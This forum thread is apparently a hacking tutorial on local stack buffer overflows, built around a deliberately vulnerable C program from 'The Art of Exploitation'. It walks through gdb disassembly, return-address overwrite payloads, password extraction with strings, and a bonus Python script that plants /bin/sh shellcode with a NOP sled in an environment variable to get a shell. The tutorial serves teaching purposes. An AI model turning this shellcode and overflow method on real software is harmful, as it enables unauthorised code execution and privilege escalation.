Author Topic: Intro to (local) exploitation Part II  (Read 1945 times)

0 Members and 1 Guest are viewing this topic.

Offline b0whunter

  • Serf
  • *
  • Posts: 41
  • Cookies: 11
  • The finest sword plunged into salt water will rust
    • View Profile
    • My journal
Intro to (local) exploitation Part II
« on: January 06, 2014, 03:19:19 am »

Intro to (local) exploitation part II

For the purpose of this Part II, we will use an example from The Art of Exploitation but with different approaches. The purpose of these exercices will show that not only that when you go through a book, dont limit yourself to doing the example at hand, but experiment with it as well to gain a better understanding. Many ways leads to Rome in this example.


Here is the vulnerable program (auth_overflow2.c in the book):


Code: [Select]

#include <stdio.h>
#include <stdlib.h>
#include <string.h>


int check_authentication(char *password)
{
   char password_buffer[16];
   int auth_flag = 0;
   strcpy(password_buffer, password);


   if(strcmp(password_buffer, "brillig") == 0)
      auth_flag = 1;
   if(strcmp(password_buffer, "outgrabe") == 0)
      auth_flag = 1;


   return auth_flag;
}


int main(int argc, char *argv[])
{
   if(argc <2)
   {
      printf("Usage: %s <password>\n", argv[0]);
      exit(0);
   }


   if(check_authentication(argv[1]))
   {
      printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
      printf("                    Acess Granted          \n");
      printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
   }   



Trying the program:


Code: [Select]

root@bt:~/ArtOfX# ./auth_overflow2 test


Acess Denied.
root@bt:~/ArtOfX#


Testing more characters:


Code: [Select]

root@bt:~/ArtOfX# ./auth_overflow2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
root@bt:~/ArtOfX#

*m0rph note*
We've achieved a segmentation fault due to the buffer of "password_buffer" only being capable of storing 16 characters, but our input exceeded the limit.

1) One way to do it...


Yay! Lets load it with gdb and check the registers after a crash.


Code: [Select]

(gdb) run AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEE
Starting program: /root/ArtOfX/auth_overflow2 AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEE


Program received signal SIGSEGV, Segmentation fault.
0x45454545 in ?? ()
(gdb)


Sweet, we overwrote exactly the 4 bytes of EIP on the first try! :p
As we did in part I, lets find a suitable address to load. Lets check main():


Code: [Select]

root@bt:~/ArtOfX# gdb ./auth_overflow2
GNU gdb (GDB) 7.1-ubuntu
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/ArtOfX/auth_overflow2...done.
(gdb) disas main
Dump of assembler code for function main:
   0x08048514 <+0>:   push   %ebp
   0x08048515 <+1>:   mov    %esp,%ebp
   0x08048517 <+3>:   and    $0xfffffff0,%esp
   0x0804851a <+6>:   sub    $0x10,%esp
   0x0804851d <+9>:   cmpl   $0x1,0x8(%ebp)
   0x08048521 <+13>:   jg     0x8048545 <main+49>
   0x08048523 <+15>:   mov    0xc(%ebp),%eax
   0x08048526 <+18>:   mov    (%eax),%edx
   0x08048528 <+20>:   mov    $0x8048661,%eax
   0x0804852d <+25>:   mov    %edx,0x4(%esp)
   0x08048531 <+29>:   mov    %eax,(%esp)
   0x08048534 <+32>:   call   0x80483bc <printf@plt>
   0x08048539 <+37>:   movl   $0x0,(%esp)
   0x08048540 <+44>:   call   0x80483ec <exit@plt>
   0x08048545 <+49>:   mov    0xc(%ebp),%eax
   0x08048548 <+52>:   add    $0x4,%eax
   0x0804854b <+55>:   mov    (%eax),%eax
   0x0804854d <+57>:   mov    %eax,(%esp)
   0x08048550 <+60>:   call   0x80484b4 <check_authentication>
   0x08048555 <+65>:   test   %eax,%eax
   0x08048557 <+67>:   je     0x804857f <main+107>
   0x08048559 <+69>:   movl   $0x8048678,(%esp)
   0x08048560 <+76>:   call   0x80483cc <puts@plt>
   0x08048565 <+81>:   movl   $0x80486a0,(%esp)
   0x0804856c <+88>:   call   0x80483cc <puts@plt>
   0x08048571 <+93>:   movl   $0x80486c4,(%esp)
   0x08048578 <+100>:   call   0x80483cc <puts@plt>
   0x0804857d <+105>:   jmp    0x804858b <main+119>
   0x0804857f <+107>:   movl   $0x80486e8,(%esp)
   0x08048586 <+114>:   call   0x80483cc <puts@plt>
   0x0804858b <+119>:   leave 
   0x0804858c <+120>:   ret   
---Type <return> to continue, or q <return> to quit---
End of assembler dump.
(gdb)


Humm ok, let's check the check_authentication function:


Code: [Select]

gdb) disas check_authentication
Dump of assembler code for function check_authentication:
   0x080484b4 <+0>:   push   %ebp
   0x080484b5 <+1>:   mov    %esp,%ebp
   0x080484b7 <+3>:   sub    $0x38,%esp
   0x080484ba <+6>:   movl   $0x0,-0xc(%ebp)
   0x080484c1 <+13>:   mov    0x8(%ebp),%eax
   0x080484c4 <+16>:   mov    %eax,0x4(%esp)
   0x080484c8 <+20>:   lea    -0x1c(%ebp),%eax
   0x080484cb <+23>:   mov    %eax,(%esp)
   0x080484ce <+26>:   call   0x80483ac <strcpy@plt>
   0x080484d3 <+31>:   movl   $0x8048650,0x4(%esp)
   0x080484db <+39>:   lea    -0x1c(%ebp),%eax
   0x080484de <+42>:   mov    %eax,(%esp)
   0x080484e1 <+45>:   call   0x80483dc <strcmp@plt>
   0x080484e6 <+50>:   test   %eax,%eax
   0x080484e8 <+52>:   jne    0x80484f1 <check_authentication+61>
   0x080484ea <+54>:   movl   $0x1,-0xc(%ebp)
   0x080484f1 <+61>:   movl   $0x8048658,0x4(%esp)
   0x080484f9 <+69>:   lea    -0x1c(%ebp),%eax
   0x080484fc <+72>:   mov    %eax,(%esp)
   0x080484ff <+75>:   call   0x80483dc <strcmp@plt>
   0x08048504 <+80>:   test   %eax,%eax
   0x08048506 <+82>:   jne    0x804850f <check_authentication+91>
   0x08048508 <+84>:   movl   $0x1,-0xc(%ebp)
   0x0804850f <+91>:   mov    -0xc(%ebp),%eax
   0x08048512 <+94>:   leave 
   0x08048513 <+95>:   ret   
End of assembler dump.


well seems to me that 0x08048508 is a suitable address.

*m0rph note*
This address was chosen because it is the 2nd of two conditional jumps (JNE command in assembly). Incorrect input will lead to the 1st conditional jump (0x080484e8), but correct input will lead to 0x08048508 which is the address of the first instruction of the 2nd conditional jump. That is why this address is chosen.

After a bit of fiddling:


Code: [Select]

(gdb) run $(perl -e 'print "AAAAAAAABBBBBBBBCCCCCCCC\x08\x85\x04\x08";')
The program being debugged has been started already.
Start it from the beginning? (y or n) y


Starting program: /root/ArtOfX/auth_overflow2 $(perl -e 'print "AAAAAAAABBBBBBBBCCCCCCCC\x08\x85\x04\x08";')


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
-          Acess Granted          -
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


Program exited with code 0125.
(gdb)


It worked, and was a good recap of part I as well.


2) Another way...


Lets check the variables it compares our input to...


Code: [Select]

(gdb) disas check_authentication
Dump of assembler code for function check_authentication:
   0x080484b4 <+0>:   push   %ebp
   0x080484b5 <+1>:   mov    %esp,%ebp
   0x080484b7 <+3>:   sub    $0x38,%esp
   0x080484ba <+6>:   movl   $0x0,-0xc(%ebp)
   0x080484c1 <+13>:   mov    0x8(%ebp),%eax
   0x080484c4 <+16>:   mov    %eax,0x4(%esp)
   0x080484c8 <+20>:   lea    -0x1c(%ebp),%eax
   0x080484cb <+23>:   mov    %eax,(%esp)
   0x080484ce <+26>:   call   0x80483ac <strcpy@plt>
   0x080484d3 <+31>:   movl   $0x8048650,0x4(%esp)
   0x080484db <+39>:   lea    -0x1c(%ebp),%eax
   0x080484de <+42>:   mov    %eax,(%esp)
   0x080484e1 <+45>:   call   0x80483dc <strcmp@plt>
   0x080484e6 <+50>:   test   %eax,%eax
   0x080484e8 <+52>:   jne    0x80484f1 <check_authentication+61>
   0x080484ea <+54>:   movl   $0x1,-0xc(%ebp)
   0x080484f1 <+61>:   movl   $0x8048658,0x4(%esp)
   0x080484f9 <+69>:   lea    -0x1c(%ebp),%eax
   0x080484fc <+72>:   mov    %eax,(%esp)
   0x080484ff <+75>:   call   0x80483dc <strcmp@plt>
   0x08048504 <+80>:   test   %eax,%eax
   0x08048506 <+82>:   jne    0x804850f <check_authentication+91>
   0x08048508 <+84>:   movl   $0x1,-0xc(%ebp)
   0x0804850f <+91>:   mov    -0xc(%ebp),%eax
   0x08048512 <+94>:   leave 
   0x08048513 <+95>:   ret   
End of assembler dump.
(gdb) x/s 0x8048650
0x8048650:    "brillig"
(gdb) x/s 0x8048658
0x8048658:    "outgrabe"
(gdb)

*m0rph note*
0x8048650, and 0x8048658 are chosen for further examination because they are the only two addresses that require a move long (move up to 32-bits) into the stack pointer (esp), along with their addresses being loaded to eax, which is then tests itself if the input was the same as what is stored in esp. This indicates that these addresses hold the string values of what the  input given to the program is compared to.

Hey we have the passwords now, let's try one:


Code: [Select]

oot@bt:~/ArtOfX# ./auth_overflow2 outgrabe


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
-          Acess Granted          -
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
root@bt:~/ArtOfX#


3) The easy way...


Well we have already figured out there were strings in our executable files but we could have checked before with the [strings] tool...


Code: [Select]

root@bt:~/ArtOfX# strings ./auth_overflow2
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
strcpy
exit
puts
printf
strcmp
__libc_start_main
GLIBC_2.0
PTRh
[^_]
brillig
outgrabe
Usage: %s <password>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
-          Acess Granted          -
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Acess Denied.


Woah the passwords were there in plain text  :o


4) Bonus material


Ok, but what if we wanted to execute arbitrary instructions? What about shellcode man? Can I get a shell? What if I dont gave enough space for my shellcode?


Well, lets put a shellcode in the environement. And why not add a generous NOP sled just to be sloppy and make this whole tutorial easy.

*m0rph note*
In this example, we will be storing shellcode in a random environment variable (shellcode will be stored in "BOW"), and then using the address of "BOW" in memory to get privilege escalation on the fly from the same application we've been testing. This way, all we have to do is fill the buffer and feed the address of our environment variable, and our shellcode is executed automatically.



Here's a simple utility I wrote to set it up:


Code: [Select]

#!/usr/bin/python
import os
sc=("\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68")
buffer = '\x90' * 200 + sc
os.putenv('BOW', buffer)
os.system('bash')


chmod +x and run it and check it:


Code: [Select]

root@bt:~/ArtOfX# ./scenv.py
root@bt:~/ArtOfX# echo $BOW
���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������^1��F���F
                                                    �
                                                     ����V
                                                          �����/bin/sh


Well shell code is there with a huge sled. All we need is the address. Here's the program from the book to get the environment var's address:


Code: [Select]

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
   char *ptr;
   if(argc < 3)
   {
      printf("Usage: %s <environment var> <target program name>\n", argv[0]);
      exit(0);
   }
   ptr = getenv(argv[1]); /* Get env var location. */
   ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* Adjust for program name. */
   printf("%s will be at %p\n", argv[1], ptr);
}


Lets get the return address we want now:


Code: [Select]

root@bt:~/ArtOfX# ./getenvaddr BOW ./auth_overflow2
BOW will be at 0xbffffc82


Lets give it a shot!


Code: [Select]

(gdb) run $(perl -e 'print "AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD\x82\xfc\xff\xbf";')
Starting program: /root/ArtOfX/auth_overflow2 $(perl -e 'print "AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD\x82\xfc\xff\xbf";')
process 4446 is executing new program: /bin/bash
sh-4.1#


And we have a shell!


Conclusion


Experiment!
« Last Edit: January 15, 2014, 10:48:33 am by m0rph »
“Engage people with what they expect; it is what they are able to discern and confirms their projections. It settles them into predictable patterns of response, occupying their minds while you wait for the extraordinary moment — that which they cannot anticipate.”
― Sun Tzu, The Art of War

Offline dracula23064

  • /dev/null
  • *
  • Posts: 12
  • Cookies: 0
    • View Profile
Re: Intro to (local) exploitation Part II
« Reply #1 on: January 11, 2014, 05:50:07 pm »
Read it superficially ... looks great .. currently am working all the exploit writing tutorials by corelan... local exploitation!! really cool.. will finish this soon.. thanks ;)
« Last Edit: January 11, 2014, 05:50:35 pm by dracula23064 »

Z3R0

  • Guest
Re: Intro to (local) exploitation Part II
« Reply #2 on: January 15, 2014, 10:23:28 am »
Lots of updates, read carefully. Lots of really really good info! Any questions feel free to ask in the thread.
« Last Edit: January 15, 2014, 10:49:27 am by m0rph »

Offline b0whunter

  • Serf
  • *
  • Posts: 41
  • Cookies: 11
  • The finest sword plunged into salt water will rust
    • View Profile
    • My journal
Re: Intro to (local) exploitation Part II
« Reply #3 on: January 16, 2014, 12:43:06 am »
Great addition m0rph. I wanted to keep it practical since most tutorials have lengthy intros on the subject but your additions are short and to the point, keeping it practical yet informative on the theory behind it.
“Engage people with what they expect; it is what they are able to discern and confirms their projections. It settles them into predictable patterns of response, occupying their minds while you wait for the extraordinary moment — that which they cannot anticipate.”
― Sun Tzu, The Art of War

Offline b0whunter

  • Serf
  • *
  • Posts: 41
  • Cookies: 11
  • The finest sword plunged into salt water will rust
    • View Profile
    • My journal
Re: Intro to (local) exploitation Part II
« Reply #4 on: January 16, 2014, 06:19:09 am »
vulnerable program :


Code: [Select]
int check_authentication(char *password)
{
  (...)
   return auth_flag;
}


int main(int argc, char *argv[])
{
  (...)
   if(check_authentication(argv[1]))
   {
      printf("                    Acess Granted          \n");

   }
}   



Code: [Select]
gdb) disas check_authentication
Dump of assembler code for function check_authentication:
   0x080484b4 <+0>:   push   %ebp
   0x080484b5 <+1>:   mov    %esp,%ebp
   0x080484b7 <+3>:   sub    $0x38,%esp
   0x080484ba <+6>:   movl   $0x0,-0xc(%ebp)
   (...)
   0x08048504 <+80>:   test   %eax,%eax
   0x08048506 <+82>:   jne    0x804850f <check_authentication+91>
   0x08048508 <+84>:   movl   $0x1,-0xc(%ebp)
   0x0804850f <+91>:   mov    -0xc(%ebp),%eax
   0x08048512 <+94>:   leave 
   0x08048513 <+95>:   ret   
End of assembler dump.


well seems to me that 0x08048508 is a suitable address.

*m0rph note*
This address was chosen because it is the 2nd of two conditional jumps (JNE command in assembly). Incorrect input will lead to the 1st conditional jump (0x080484e8), but correct input will lead to 0x08048508 which is the address of the first instruction of the 2nd conditional jump. That is why this address is chosen.



To further elaborate, if the input isnt equal to the string, we jump to
0x0804850f <+91>:   mov    -0xc(%ebp),%eax
If you look up, it really is moving 0 into eax or in other words, the function returns 0.

so f(check_authentication(argv[1])) would actually be if(0) and we would not execute the if statement ("Access granted")

Now if the input and string are equal, we do not jump and we movl (the long is important here so the 0 doesnt affect value held in eax in the next instruction). So the function returns 1 and we execute the if statement is true and we get "Access granted".

Additional info: the reason we do not jump is simply a matter of optimization as jumps are demanding for your programs and assembly will preload instructions from the branch more likely to be taken in a straight down fashion. in reality, someone using this program would know the password therefore the programs expects the user to know the password and would avoid the jump.

« Last Edit: January 16, 2014, 06:20:51 am by b0whunter »
“Engage people with what they expect; it is what they are able to discern and confirms their projections. It settles them into predictable patterns of response, occupying their minds while you wait for the extraordinary moment — that which they cannot anticipate.”
― Sun Tzu, The Art of War